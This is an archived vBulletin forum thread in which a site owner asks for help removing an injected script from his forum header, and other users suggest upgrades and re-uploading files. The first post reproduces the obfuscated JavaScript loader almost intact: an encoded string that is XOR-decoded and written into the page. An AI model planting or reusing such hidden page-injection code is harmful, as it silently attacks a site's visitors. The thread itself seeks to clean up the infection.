The Arcive of Official vBulletin Modifications Site.

kevin_kirk · #1 06-05-2007, 10:59 PM

I wonder if someone could help - someone has pasted a javascript virus in the forum header on my site; it is the first thing that appears on the index page.

I've pasted it below (after replacing the java script word) so you can see were it is. How do I get rid of it and what does it do? The version of vb is V3.0.3

Thanks

Kevin

<script language="REPLACED">e = '0x00' + '52';str1 = "%E9%B1%BA%A7%CD%A0%A1%AA%B9%B6%EE%F3%A7%BA%A0%BA% B3%BA%B9%BA%A1%AA%EB%B5%BA%B1% B1%B6%BF%F3%EF%E9%BA%B7%A3%B2%BE%B6%CD%A0%A3%B0%EE %F3%B5%A1%A1%BD%EB%FC%FC%B1%BA %BF%B2%B0%BF%A1%FF%BA%BF%B7%BC%FC%B9%B1%FC%B4%A3%B 6%AA%FC%F3%CD%A4%BA%B1%A1%B5%E E%E2%CD%B5%B6%BA%B4%B5%A1%EE%E2%EF%E9%FC%BA%B7%A3% B2%BE%B6%EF%E9%FC%B1%BA%A7%EF" ;str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" lang="en">
<head>

<meta http-equiv="Pragma" content="no-cache" />

puertoblack2003 · #2 06-05-2007, 11:56 PM

you need to upgrade to the latest vb software

Dismounted · #3 06-06-2007, 09:42 AM

It'll be in a template somewhere.

kevin_kirk · #4 06-06-2007, 09:51 PM

Quote:

Originally Posted by Dismounted

It'll be in a template somewhere.

Thanks but I cant find it anywhere. I uploaded all the default templates and its still there. Where is the security leak that lets it in?

Thanks.

Dismounted · #5 06-07-2007, 07:42 AM

Reupload all your files as well. You probably installed a modification that had a vulnerability.

X vBulletin 3.8.12 by vBS Debug Information
Page Generation 0.03455 seconds Memory Usage 2,192KB Queries Executed 11 (?)
More Information
Template Usage: (1)SHOWTHREAD (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (1)ad_showthread_beforeqr (1)ad_showthread_firstpost (1)ad_showthread_firstpost_sig (1)ad_showthread_firstpost_start (1)bbcode_quote (1)footer (1)forumjump (1)forumrules (1)gobutton (1)header (1)headinclude (1)navbar (3)navbar_link (120)option (5)post_thanks_box (5)post_thanks_button (1)post_thanks_javascript (1)post_thanks_navbar_search (5)post_thanks_postbit_info (5)postbit (5)postbit_onlinestatus (5)postbit_wrapper (1)spacer_close (1)spacer_open (1)tagbit_wrapper Phrase Groups Available: global inlinemod postbit posting reputationlevel showthread	Included Files: ./showthread.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/functions_bigthree.php ./includes/class_postbit.php ./includes/class_bbcode.php ./includes/functions_reputation.php ./includes/functions_post_thanks.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete showthread_start showthread_getinfo forumjump showthread_post_start showthread_query_postids showthread_query bbcode_fetch_tags bbcode_create showthread_postbit_create postbit_factory postbit_display_start post_thanks_function_post_thanks_off_start post_thanks_function_post_thanks_off_end post_thanks_function_fetch_thanks_start post_thanks_function_fetch_thanks_end post_thanks_function_thanked_already_start post_thanks_function_thanked_already_end fetch_musername postbit_imicons bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete postbit_display_complete post_thanks_function_can_thank_this_post_start tag_fetchbit_complete forumrules navbits navbits_complete showthread_complete
Messages:

The Arcive of Official vBulletin Modifications Site.

It is not a VB3 engine, just a parsed copy!